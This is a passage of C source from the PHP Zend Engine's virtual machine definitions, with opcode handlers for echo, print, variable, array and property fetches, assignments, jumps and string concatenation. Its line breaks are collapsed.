*val = Z_OBJ_HANDLER_PP(var_ptr, get)(*var_ptr TSRMLS_CC); val->refcount++; decrement_function(val); Z_OBJ_HANDLER_PP(var_ptr, set)(var_ptr, val TSRMLS_CC); zval_ptr_dtor(&val); } else { decrement_function(*var_ptr); } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(40, ZEND_ECHO, CONST|TMP|VAR|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; zval z_copy; zval *z = GET_OP1_ZVAL_PTR(BP_VAR_R); if (Z_TYPE_P(z) == IS_OBJECT && Z_OBJ_HT_P(z)->get_method != NULL && zend_std_cast_object_tostring(z, &z_copy, IS_STRING TSRMLS_CC) == SUCCESS) { zend_print_variable(&z_copy); zval_dtor(&z_copy); } else { zend_print_variable(z); } FREE_OP1(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(41, ZEND_PRINT, CONST|TMP|VAR|CV, ANY) { zend_op *opline = EX(opline); Z_LVAL(EX_T(opline->result.u.var).tmp_var) = 1; Z_TYPE(EX_T(opline->result.u.var).tmp_var) = IS_LONG; ZEND_VM_DISPATCH_TO_HANDLER(ZEND_ECHO); } ZEND_VM_HELPER_EX(zend_fetch_var_address_helper, CONST|TMP|VAR|CV, ANY, int type) { zend_op *opline = EX(opline); zend_free_op free_op1; zval *varname = GET_OP1_ZVAL_PTR(BP_VAR_R); zval **retval; zval tmp_varname; HashTable *target_symbol_table; if (Z_TYPE_P(varname) != IS_STRING) { tmp_varname = *varname; zval_copy_ctor(&tmp_varname); convert_to_string(&tmp_varname); varname = &tmp_varname; } if (opline->op2.u.EA.type == ZEND_FETCH_STATIC_MEMBER) { retval = zend_std_get_static_property(EX_T(opline->op2.u.var).class_entry, Z_STRVAL_P(varname), Z_STRLEN_P(varname), 0 TSRMLS_CC); FREE_OP1(); } else { target_symbol_table = zend_get_target_symbol_table(opline, EX(Ts), type, varname TSRMLS_CC); /* if (!target_symbol_table) { ZEND_VM_NEXT_OPCODE(); } */ if (zend_hash_find(target_symbol_table, varname->value.str.val, varname->value.str.len+1, (void **) &retval) == FAILURE) { switch (type) { case BP_VAR_R: case BP_VAR_UNSET: zend_error(E_NOTICE,"Undefined variable: %s", Z_STRVAL_P(varname)); /* break missing intentionally */ case BP_VAR_IS: retval = &EG(uninitialized_zval_ptr); break; case BP_VAR_RW: zend_error(E_NOTICE,"Undefined variable: %s", Z_STRVAL_P(varname)); /* break missing intentionally */ case BP_VAR_W: { zval *new_zval = &EG(uninitialized_zval); new_zval->refcount++; zend_hash_update(target_symbol_table, varname->value.str.val, varname->value.str.len+1, &new_zval, sizeof(zval *), (void **) &retval); } break; EMPTY_SWITCH_DEFAULT_CASE() } } switch (opline->op2.u.EA.type) { case ZEND_FETCH_GLOBAL: if (OP1_TYPE != IS_TMP_VAR) { FREE_OP1(); } break; case ZEND_FETCH_LOCAL: FREE_OP1(); break; case ZEND_FETCH_STATIC: zval_update_constant(retval, (void*) 1 TSRMLS_CC); break; case ZEND_FETCH_GLOBAL_LOCK: if (OP1_TYPE == IS_VAR && !free_op1.var) { PZVAL_LOCK(*EX_T(opline->op1.u.var).var.ptr_ptr); } break; } } if (varname == &tmp_varname) { zval_dtor(varname); } if (!RETURN_VALUE_UNUSED(&opline->result)) { EX_T(opline->result.u.var).var.ptr_ptr = retval; PZVAL_LOCK(*retval); switch (type) { case BP_VAR_R: case BP_VAR_IS: AI_USE_PTR(EX_T(opline->result.u.var).var); break; case BP_VAR_UNSET: { zend_free_op free_res; PZVAL_UNLOCK(*EX_T(opline->result.u.var).var.ptr_ptr, &free_res); if (EX_T(opline->result.u.var).var.ptr_ptr != &EG(uninitialized_zval_ptr)) { SEPARATE_ZVAL_IF_NOT_REF(EX_T(opline->result.u.var).var.ptr_ptr); } PZVAL_LOCK(*EX_T(opline->result.u.var).var.ptr_ptr); FREE_OP_VAR_PTR(free_res); break; } } } ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(80, ZEND_FETCH_R, CONST|TMP|VAR|CV, ANY) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_fetch_var_address_helper, type, BP_VAR_R); } ZEND_VM_HANDLER(83, ZEND_FETCH_W, CONST|TMP|VAR|CV, ANY) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_fetch_var_address_helper, type, BP_VAR_W); } ZEND_VM_HANDLER(86, ZEND_FETCH_RW, CONST|TMP|VAR|CV, ANY) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_fetch_var_address_helper, type, BP_VAR_RW); } ZEND_VM_HANDLER(92, ZEND_FETCH_FUNC_ARG, CONST|TMP|VAR|CV, ANY) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_fetch_var_address_helper, type, ARG_SHOULD_BE_SENT_BY_REF(EX(fbc), EX(opline)->extended_value)?BP_VAR_W:BP_VAR_R); } ZEND_VM_HANDLER(95, ZEND_FETCH_UNSET, CONST|TMP|VAR|CV, ANY) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_fetch_var_address_helper, type, BP_VAR_UNSET); } ZEND_VM_HANDLER(89, ZEND_FETCH_IS, CONST|TMP|VAR|CV, ANY) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_fetch_var_address_helper, type, BP_VAR_IS); } ZEND_VM_HANDLER(81, ZEND_FETCH_DIM_R, VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; zval *dim = GET_OP2_ZVAL_PTR(BP_VAR_R); if (opline->extended_value == ZEND_FETCH_ADD_LOCK && OP1_TYPE != IS_CV && EX_T(opline->op1.u.var).var.ptr_ptr) { PZVAL_LOCK(*EX_T(opline->op1.u.var).var.ptr_ptr); } zend_fetch_dimension_address(RETURN_VALUE_UNUSED(&opline->result)?NULL:&EX_T(opline->result.u.var), GET_OP1_ZVAL_PTR_PTR(BP_VAR_R), dim, IS_OP2_TMP_FREE(), BP_VAR_R TSRMLS_CC); FREE_OP2(); FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(84, ZEND_FETCH_DIM_W, VAR|CV, CONST|TMP|VAR|UNUSED|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; zval *dim = GET_OP2_ZVAL_PTR(BP_VAR_R); zend_fetch_dimension_address(RETURN_VALUE_UNUSED(&opline->result)?NULL:&EX_T(opline->result.u.var), GET_OP1_ZVAL_PTR_PTR(BP_VAR_W), dim, IS_OP2_TMP_FREE(), BP_VAR_W TSRMLS_CC); FREE_OP2(); if (OP1_TYPE == IS_VAR && OP1_FREE && READY_TO_DESTROY(free_op1.var) && !RETURN_VALUE_UNUSED(&opline->result)) { AI_USE_PTR(EX_T(opline->result.u.var).var); if (!PZVAL_IS_REF(*EX_T(opline->result.u.var).var.ptr_ptr) && ZVAL_REFCOUNT(*EX_T(opline->result.u.var).var.ptr_ptr) > 2) { SEPARATE_ZVAL(EX_T(opline->result.u.var).var.ptr_ptr); } } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(87, ZEND_FETCH_DIM_RW, VAR|CV, CONST|TMP|VAR|UNUSED|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; zval *dim = GET_OP2_ZVAL_PTR(BP_VAR_R); zend_fetch_dimension_address(RETURN_VALUE_UNUSED(&opline->result)?NULL:&EX_T(opline->result.u.var), GET_OP1_ZVAL_PTR_PTR(BP_VAR_RW), dim, IS_OP2_TMP_FREE(), BP_VAR_RW TSRMLS_CC); FREE_OP2(); if (OP1_TYPE == IS_VAR && OP1_FREE && READY_TO_DESTROY(free_op1.var) && !RETURN_VALUE_UNUSED(&opline->result)) { AI_USE_PTR(EX_T(opline->result.u.var).var); if (!PZVAL_IS_REF(*EX_T(opline->result.u.var).var.ptr_ptr) && ZVAL_REFCOUNT(*EX_T(opline->result.u.var).var.ptr_ptr) > 2) { SEPARATE_ZVAL(EX_T(opline->result.u.var).var.ptr_ptr); } } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(90, ZEND_FETCH_DIM_IS, VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; zval *dim = GET_OP2_ZVAL_PTR(BP_VAR_R); zend_fetch_dimension_address(RETURN_VALUE_UNUSED(&opline->result)?NULL:&EX_T(opline->result.u.var), GET_OP1_ZVAL_PTR_PTR(BP_VAR_IS), dim, IS_OP2_TMP_FREE(), BP_VAR_IS TSRMLS_CC); FREE_OP2(); FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(93, ZEND_FETCH_DIM_FUNC_ARG, VAR|CV, CONST|TMP|VAR|UNUSED|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; int type = ARG_SHOULD_BE_SENT_BY_REF(EX(fbc), opline->extended_value)?BP_VAR_W:BP_VAR_R; zval *dim; if (OP2_TYPE == IS_UNUSED && type == BP_VAR_R) { zend_error_noreturn(E_ERROR, "Cannot use [] for reading"); } dim = GET_OP2_ZVAL_PTR(BP_VAR_R); zend_fetch_dimension_address(RETURN_VALUE_UNUSED(&opline->result)?NULL:&EX_T(opline->result.u.var), GET_OP1_ZVAL_PTR_PTR(type), dim, IS_OP2_TMP_FREE(), type TSRMLS_CC); FREE_OP2(); if (OP1_TYPE == IS_VAR && type == BP_VAR_W && OP1_FREE && READY_TO_DESTROY(free_op1.var) && !RETURN_VALUE_UNUSED(&opline->result)) { AI_USE_PTR(EX_T(opline->result.u.var).var); if (!PZVAL_IS_REF(*EX_T(opline->result.u.var).var.ptr_ptr) && ZVAL_REFCOUNT(*EX_T(opline->result.u.var).var.ptr_ptr) > 2) { SEPARATE_ZVAL(EX_T(opline->result.u.var).var.ptr_ptr); } } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(96, ZEND_FETCH_DIM_UNSET, VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; zval **container = GET_OP1_ZVAL_PTR_PTR(BP_VAR_UNSET); zval *dim = GET_OP2_ZVAL_PTR(BP_VAR_R); /* Not needed in DIM_UNSET if (opline->extended_value == ZEND_FETCH_ADD_LOCK) { PZVAL_LOCK(*EX_T(opline->op1.u.var).var.ptr_ptr); } */ if (OP1_TYPE == IS_CV) { if (container != &EG(uninitialized_zval_ptr)) { SEPARATE_ZVAL_IF_NOT_REF(container); } } zend_fetch_dimension_address(RETURN_VALUE_UNUSED(&opline->result)?NULL:&EX_T(opline->result.u.var), container, dim, IS_OP2_TMP_FREE(), BP_VAR_UNSET TSRMLS_CC); FREE_OP2(); if (OP1_TYPE == IS_VAR && OP1_FREE && READY_TO_DESTROY(free_op1.var) && !RETURN_VALUE_UNUSED(&opline->result)) { AI_USE_PTR(EX_T(opline->result.u.var).var); if (!PZVAL_IS_REF(*EX_T(opline->result.u.var).var.ptr_ptr) && ZVAL_REFCOUNT(*EX_T(opline->result.u.var).var.ptr_ptr) > 2) { SEPARATE_ZVAL(EX_T(opline->result.u.var).var.ptr_ptr); } } FREE_OP1_VAR_PTR(); if (EX_T(opline->result.u.var).var.ptr_ptr == NULL) { zend_error_noreturn(E_ERROR, "Cannot unset string offsets"); } else { zend_free_op free_res; PZVAL_UNLOCK(*EX_T(opline->result.u.var).var.ptr_ptr, &free_res); if (EX_T(opline->result.u.var).var.ptr_ptr != &EG(uninitialized_zval_ptr)) { SEPARATE_ZVAL_IF_NOT_REF(EX_T(opline->result.u.var).var.ptr_ptr); } PZVAL_LOCK(*EX_T(opline->result.u.var).var.ptr_ptr); FREE_OP_VAR_PTR(free_res); } ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HELPER_EX(zend_fetch_property_address_read_helper, VAR|UNUSED|CV, CONST|TMP|VAR|CV, int type) { zend_op *opline = EX(opline); zval *container; zval **retval; zend_free_op free_op1; zend_free_op free_op2; zval *offset = GET_OP2_ZVAL_PTR(BP_VAR_R); retval = &EX_T(opline->result.u.var).var.ptr; EX_T(opline->result.u.var).var.ptr_ptr = retval; container = GET_OP1_OBJ_ZVAL_PTR(type); if (container == EG(error_zval_ptr)) { if (!RETURN_VALUE_UNUSED(&opline->result)) { *retval = EG(error_zval_ptr); PZVAL_LOCK(*retval); AI_USE_PTR(EX_T(opline->result.u.var).var); } FREE_OP2(); FREE_OP1(); ZEND_VM_NEXT_OPCODE(); } if (Z_TYPE_P(container) != IS_OBJECT || !Z_OBJ_HT_P(container)->read_property) { if (type != BP_VAR_IS) { zend_error(E_NOTICE, "Trying to get property of non-object"); } *retval = EG(uninitialized_zval_ptr); SELECTIVE_PZVAL_LOCK(*retval, &opline->result); AI_USE_PTR(EX_T(opline->result.u.var).var); FREE_OP2(); } else { if (IS_OP2_TMP_FREE()) { MAKE_REAL_ZVAL_PTR(offset); } /* here we are sure we are dealing with an object */ *retval = Z_OBJ_HT_P(container)->read_property(container, offset, type TSRMLS_CC); if (RETURN_VALUE_UNUSED(&opline->result) && ((*retval)->refcount == 0)) { zval_dtor(*retval); FREE_ZVAL(*retval); } else { SELECTIVE_PZVAL_LOCK(*retval, &opline->result); AI_USE_PTR(EX_T(opline->result.u.var).var); } if (IS_OP2_TMP_FREE()) { zval_ptr_dtor(&offset); } else { FREE_OP2(); } } FREE_OP1(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(82, ZEND_FETCH_OBJ_R, VAR|UNUSED|CV, CONST|TMP|VAR|CV) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_fetch_property_address_read_helper, type, BP_VAR_R); } ZEND_VM_HANDLER(85, ZEND_FETCH_OBJ_W, VAR|UNUSED|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; zval *property = GET_OP2_ZVAL_PTR(BP_VAR_R); if (opline->extended_value == ZEND_FETCH_ADD_LOCK && OP1_TYPE != IS_CV) { PZVAL_LOCK(*EX_T(opline->op1.u.var).var.ptr_ptr); EX_T(opline->op1.u.var).var.ptr = *EX_T(opline->op1.u.var).var.ptr_ptr; } if (IS_OP2_TMP_FREE()) { MAKE_REAL_ZVAL_PTR(property); } zend_fetch_property_address(RETURN_VALUE_UNUSED(&opline->result)?NULL:&EX_T(opline->result.u.var), GET_OP1_OBJ_ZVAL_PTR_PTR(BP_VAR_W), property, BP_VAR_W TSRMLS_CC); if (IS_OP2_TMP_FREE()) { zval_ptr_dtor(&property); } else { FREE_OP2(); } if (OP1_TYPE == IS_VAR && OP1_FREE && READY_TO_DESTROY(free_op1.var) && !RETURN_VALUE_UNUSED(&opline->result)) { AI_USE_PTR(EX_T(opline->result.u.var).var); if (!PZVAL_IS_REF(*EX_T(opline->result.u.var).var.ptr_ptr) && ZVAL_REFCOUNT(*EX_T(opline->result.u.var).var.ptr_ptr) > 2) { SEPARATE_ZVAL(EX_T(opline->result.u.var).var.ptr_ptr); } } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(88, ZEND_FETCH_OBJ_RW, VAR|UNUSED|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; zval *property = GET_OP2_ZVAL_PTR(BP_VAR_R); if (IS_OP2_TMP_FREE()) { MAKE_REAL_ZVAL_PTR(property); } zend_fetch_property_address(RETURN_VALUE_UNUSED(&opline->result)?NULL:&EX_T(opline->result.u.var), GET_OP1_OBJ_ZVAL_PTR_PTR(BP_VAR_RW), property, BP_VAR_RW TSRMLS_CC); if (IS_OP2_TMP_FREE()) { zval_ptr_dtor(&property); } else { FREE_OP2(); } if (OP1_TYPE == IS_VAR && OP1_FREE && READY_TO_DESTROY(free_op1.var) && !RETURN_VALUE_UNUSED(&opline->result)) { AI_USE_PTR(EX_T(opline->result.u.var).var); if (!PZVAL_IS_REF(*EX_T(opline->result.u.var).var.ptr_ptr) && ZVAL_REFCOUNT(*EX_T(opline->result.u.var).var.ptr_ptr) > 2) { SEPARATE_ZVAL(EX_T(opline->result.u.var).var.ptr_ptr); } } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(91, ZEND_FETCH_OBJ_IS, VAR|UNUSED|CV, CONST|TMP|VAR|CV) { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_fetch_property_address_read_helper, type, BP_VAR_IS); } ZEND_VM_HANDLER(94, ZEND_FETCH_OBJ_FUNC_ARG, VAR|UNUSED|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); if (ARG_SHOULD_BE_SENT_BY_REF(EX(fbc), opline->extended_value)) { /* Behave like FETCH_OBJ_W */ zend_free_op free_op1, free_op2; zval *property = GET_OP2_ZVAL_PTR(BP_VAR_R); if (IS_OP2_TMP_FREE()) { MAKE_REAL_ZVAL_PTR(property); } zend_fetch_property_address(RETURN_VALUE_UNUSED(&opline->result)?NULL:&EX_T(opline->result.u.var), GET_OP1_OBJ_ZVAL_PTR_PTR(BP_VAR_W), property, BP_VAR_W TSRMLS_CC); if (IS_OP2_TMP_FREE()) { zval_ptr_dtor(&property); } else { FREE_OP2(); } if (OP1_TYPE == IS_VAR && OP1_FREE && READY_TO_DESTROY(free_op1.var) && !RETURN_VALUE_UNUSED(&opline->result)) { AI_USE_PTR(EX_T(opline->result.u.var).var); if (!PZVAL_IS_REF(*EX_T(opline->result.u.var).var.ptr_ptr) && ZVAL_REFCOUNT(*EX_T(opline->result.u.var).var.ptr_ptr) > 2) { SEPARATE_ZVAL(EX_T(opline->result.u.var).var.ptr_ptr); } } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } else { ZEND_VM_DISPATCH_TO_HELPER_EX(zend_fetch_property_address_read_helper, type, BP_VAR_R); } } ZEND_VM_HANDLER(97, ZEND_FETCH_OBJ_UNSET, VAR|UNUSED|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2, free_res; zval **container = GET_OP1_OBJ_ZVAL_PTR_PTR(BP_VAR_R); zval *property = GET_OP2_ZVAL_PTR(BP_VAR_R); if (OP1_TYPE == IS_CV) { if (container != &EG(uninitialized_zval_ptr)) { SEPARATE_ZVAL_IF_NOT_REF(container); } } if (IS_OP2_TMP_FREE()) { MAKE_REAL_ZVAL_PTR(property); } zend_fetch_property_address(RETURN_VALUE_UNUSED(&opline->result)?NULL:&EX_T(opline->result.u.var), container, property, BP_VAR_UNSET TSRMLS_CC); if (IS_OP2_TMP_FREE()) { zval_ptr_dtor(&property); } else { FREE_OP2(); } if (OP1_TYPE == IS_VAR && OP1_FREE && READY_TO_DESTROY(free_op1.var) && !RETURN_VALUE_UNUSED(&opline->result)) { AI_USE_PTR(EX_T(opline->result.u.var).var); if (!PZVAL_IS_REF(*EX_T(opline->result.u.var).var.ptr_ptr) && ZVAL_REFCOUNT(*EX_T(opline->result.u.var).var.ptr_ptr) > 2) { SEPARATE_ZVAL(EX_T(opline->result.u.var).var.ptr_ptr); } } FREE_OP1_VAR_PTR(); PZVAL_UNLOCK(*EX_T(opline->result.u.var).var.ptr_ptr, &free_res); if (EX_T(opline->result.u.var).var.ptr_ptr != &EG(uninitialized_zval_ptr)) { SEPARATE_ZVAL_IF_NOT_REF(EX_T(opline->result.u.var).var.ptr_ptr); } PZVAL_LOCK(*EX_T(opline->result.u.var).var.ptr_ptr); FREE_OP_VAR_PTR(free_res); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(98, ZEND_FETCH_DIM_TMP_VAR, CONST|TMP, CONST) { zend_op *opline = EX(opline); zend_free_op free_op1; zval *container = GET_OP1_ZVAL_PTR(BP_VAR_R); if (Z_TYPE_P(container) != IS_ARRAY) { if (!RETURN_VALUE_UNUSED(&opline->result)) { EX_T(opline->result.u.var).var.ptr_ptr = &EG(uninitialized_zval_ptr); PZVAL_LOCK(*EX_T(opline->result.u.var).var.ptr_ptr); } } else { zend_free_op free_op2; zval *dim = GET_OP2_ZVAL_PTR(BP_VAR_R); EX_T(opline->result.u.var).var.ptr_ptr = zend_fetch_dimension_address_inner(Z_ARRVAL_P(container), dim, BP_VAR_R TSRMLS_CC); SELECTIVE_PZVAL_LOCK(*EX_T(opline->result.u.var).var.ptr_ptr, &opline->result); FREE_OP2(); } AI_USE_PTR(EX_T(opline->result.u.var).var); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(136, ZEND_ASSIGN_OBJ, VAR|UNUSED|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_op *op_data = opline+1; zend_free_op free_op1; zval **object_ptr = GET_OP1_OBJ_ZVAL_PTR_PTR(BP_VAR_W); zend_assign_to_object(&opline->result, object_ptr, &opline->op2, &op_data->op1, EX(Ts), ZEND_ASSIGN_OBJ TSRMLS_CC); FREE_OP1_VAR_PTR(); /* assign_obj has two opcodes! */ ZEND_VM_INC_OPCODE(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(147, ZEND_ASSIGN_DIM, VAR|CV, CONST|TMP|VAR|UNUSED|CV) { zend_op *opline = EX(opline); zend_op *op_data = opline+1; zend_free_op free_op1; zval **object_ptr; if (OP1_TYPE == IS_CV || EX_T(opline->op1.u.var).var.ptr_ptr) { /* not an array offset */ object_ptr = GET_OP1_ZVAL_PTR_PTR(BP_VAR_W); } else { object_ptr = NULL; } if (object_ptr && Z_TYPE_PP(object_ptr) == IS_OBJECT) { zend_assign_to_object(&opline->result, object_ptr, &opline->op2, &op_data->op1, EX(Ts), ZEND_ASSIGN_DIM TSRMLS_CC); } else { zend_free_op free_op2, free_op_data1; zval *value; zval *dim = GET_OP2_ZVAL_PTR(BP_VAR_R); zend_fetch_dimension_address(&EX_T(op_data->op2.u.var), object_ptr, dim, IS_OP2_TMP_FREE(), BP_VAR_W TSRMLS_CC); FREE_OP2(); value = get_zval_ptr(&op_data->op1, EX(Ts), &free_op_data1, BP_VAR_R); zend_assign_to_variable(&opline->result, &op_data->op2, &op_data->op1, value, (IS_TMP_FREE(free_op_data1)?IS_TMP_VAR:op_data->op1.op_type), EX(Ts) TSRMLS_CC); FREE_OP_IF_VAR(free_op_data1); } FREE_OP1_VAR_PTR(); /* assign_dim has two opcodes! */ ZEND_VM_INC_OPCODE(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(38, ZEND_ASSIGN, VAR|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op2; zval *value = GET_OP2_ZVAL_PTR(BP_VAR_R); zend_assign_to_variable(&opline->result, &opline->op1, &opline->op2, value, (IS_OP2_TMP_FREE()?IS_TMP_VAR:OP2_TYPE), EX(Ts) TSRMLS_CC); /* zend_assign_to_variable() always takes care of op2, never free it! */ FREE_OP2_IF_VAR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(39, ZEND_ASSIGN_REF, VAR|CV, VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; zval **variable_ptr_ptr; zval **value_ptr_ptr = GET_OP2_ZVAL_PTR_PTR(BP_VAR_W); if (OP2_TYPE == IS_VAR && value_ptr_ptr && !(*value_ptr_ptr)->is_ref && opline->extended_value == ZEND_RETURNS_FUNCTION && !EX_T(opline->op2.u.var).var.fcall_returned_reference) { if (free_op2.var == NULL) { PZVAL_LOCK(*value_ptr_ptr); /* undo the effect of get_zval_ptr_ptr() */ } zend_error(E_STRICT, "Only variables should be assigned by reference"); if (EG(exception)) { FREE_OP2_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_DISPATCH_TO_HANDLER(ZEND_ASSIGN); } else if (OP2_TYPE == IS_VAR && opline->extended_value == ZEND_RETURNS_NEW) { PZVAL_LOCK(*value_ptr_ptr); } if (OP1_TYPE == IS_VAR && EX_T(opline->op1.u.var).var.ptr_ptr == &EX_T(opline->op1.u.var).var.ptr) { zend_error(E_ERROR, "Cannot assign by reference to overloaded object"); } variable_ptr_ptr = GET_OP1_ZVAL_PTR_PTR(BP_VAR_W); zend_assign_to_variable_reference(variable_ptr_ptr, value_ptr_ptr TSRMLS_CC); if (OP2_TYPE == IS_VAR && opline->extended_value == ZEND_RETURNS_NEW) { (*variable_ptr_ptr)->refcount--; } if (!RETURN_VALUE_UNUSED(&opline->result)) { EX_T(opline->result.u.var).var.ptr_ptr = variable_ptr_ptr; PZVAL_LOCK(*variable_ptr_ptr); AI_USE_PTR(EX_T(opline->result.u.var).var); } FREE_OP1_VAR_PTR(); FREE_OP2_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(42, ZEND_JMP, ANY, ANY) { #if DEBUG_ZEND>=2 printf("Jumping to %d\n", EX(opline)->op1.u.opline_num); #endif ZEND_VM_SET_OPCODE(EX(opline)->op1.u.jmp_addr); ZEND_VM_CONTINUE(); /* CHECK_ME */ } ZEND_VM_HANDLER(43, ZEND_JMPZ, CONST|TMP|VAR|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; int ret = i_zend_is_true(GET_OP1_ZVAL_PTR(BP_VAR_R)); FREE_OP1(); if (!ret) { #if DEBUG_ZEND>=2 printf("Conditional jmp to %d\n", opline->op2.u.opline_num); #endif ZEND_VM_JMP(opline->op2.u.jmp_addr); } ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(44, ZEND_JMPNZ, CONST|TMP|VAR|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; int ret = i_zend_is_true(GET_OP1_ZVAL_PTR(BP_VAR_R)); FREE_OP1(); if (ret) { #if DEBUG_ZEND>=2 printf("Conditional jmp to %d\n", opline->op2.u.opline_num); #endif ZEND_VM_JMP(opline->op2.u.jmp_addr); } ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(45, ZEND_JMPZNZ, CONST|TMP|VAR|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; int retval = i_zend_is_true(GET_OP1_ZVAL_PTR(BP_VAR_R)); FREE_OP1(); if (retval) { #if DEBUG_ZEND>=2 printf("Conditional jmp on true to %d\n", opline->extended_value); #endif ZEND_VM_JMP(&EX(op_array)->opcodes[opline->extended_value]); } else { #if DEBUG_ZEND>=2 printf("Conditional jmp on false to %d\n", opline->op2.u.opline_num); #endif ZEND_VM_JMP(&EX(op_array)->opcodes[opline->op2.u.opline_num]); } } ZEND_VM_HANDLER(46, ZEND_JMPZ_EX, CONST|TMP|VAR|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; int retval = i_zend_is_true(GET_OP1_ZVAL_PTR(BP_VAR_R)); FREE_OP1(); Z_LVAL(EX_T(opline->result.u.var).tmp_var) = retval; Z_TYPE(EX_T(opline->result.u.var).tmp_var) = IS_BOOL; if (!retval) { #if DEBUG_ZEND>=2 printf("Conditional jmp to %d\n", opline->op2.u.opline_num); #endif ZEND_VM_JMP(opline->op2.u.jmp_addr); } ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(47, ZEND_JMPNZ_EX, CONST|TMP|VAR|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; int retval = i_zend_is_true(GET_OP1_ZVAL_PTR(BP_VAR_R)); FREE_OP1(); Z_LVAL(EX_T(opline->result.u.var).tmp_var) = retval; Z_TYPE(EX_T(opline->result.u.var).tmp_var) = IS_BOOL; if (retval) { #if DEBUG_ZEND>=2 printf("Conditional jmp to %d\n", opline->op2.u.opline_num); #endif ZEND_VM_JMP(opline->op2.u.jmp_addr); } ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(70, ZEND_FREE, TMP, ANY) { zendi_zval_dtor(EX_T(EX(opline)->op1.u.var).tmp_var); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(53, ZEND_INIT_STRING, ANY, ANY) { zval *tmp = &EX_T(EX(opline)->result.u.var).tmp_var; tmp->value.str.val = emalloc(1); tmp->value.str.val[0] = 0; tmp->value.str.len = 0; tmp->refcount = 1; tmp->type = IS_STRING; tmp->is_ref = 0; ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(54, ZEND_ADD_CHAR, TMP, CONST) { zend_op *opline = EX(opline); zend_free_op free_op1; add_char_to_string(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_NA), &opline->op2.u.constant); /* FREE_OP is missing intentionally here - we're always working on the same temporary variable */ ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(55, ZEND_ADD_STRING, TMP, CONST) { zend_op *opline = EX(opline); zend_free_op free_op1; add_string_to_string(&EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_NA), &opline->op2.u.constant); /* FREE_OP is missing intentionally here - we're always working on the same temporary variable */ ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(56, ZEND_ADD_VAR, TMP, TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; zval *var = GET_OP2_ZVAL_PTR(BP_VAR_R); zval var_copy; int use_copy = 0; if (Z_TYPE_P(var) != IS_STRING) { zend_make_printable_zval(var, &var_copy, &use_copy); if (use_copy) { var = &var_copy; } } add_string_to_string( &EX_T(opline->result.u.var).tmp_var, GET_OP1_ZVAL_PTR(BP_VAR_NA), var); if (use_copy) { zval_dtor(var); } /* original comment, possibly problematic: * FREE_OP is missing intentionally here - we're always working on the same temporary variable * (Zeev): I don't think it's problematic, we only use variables * which aren't affected by FREE_OP(Ts, )'s anyway, unless they're * string offsets or overloaded objects */ FREE_OP2(); 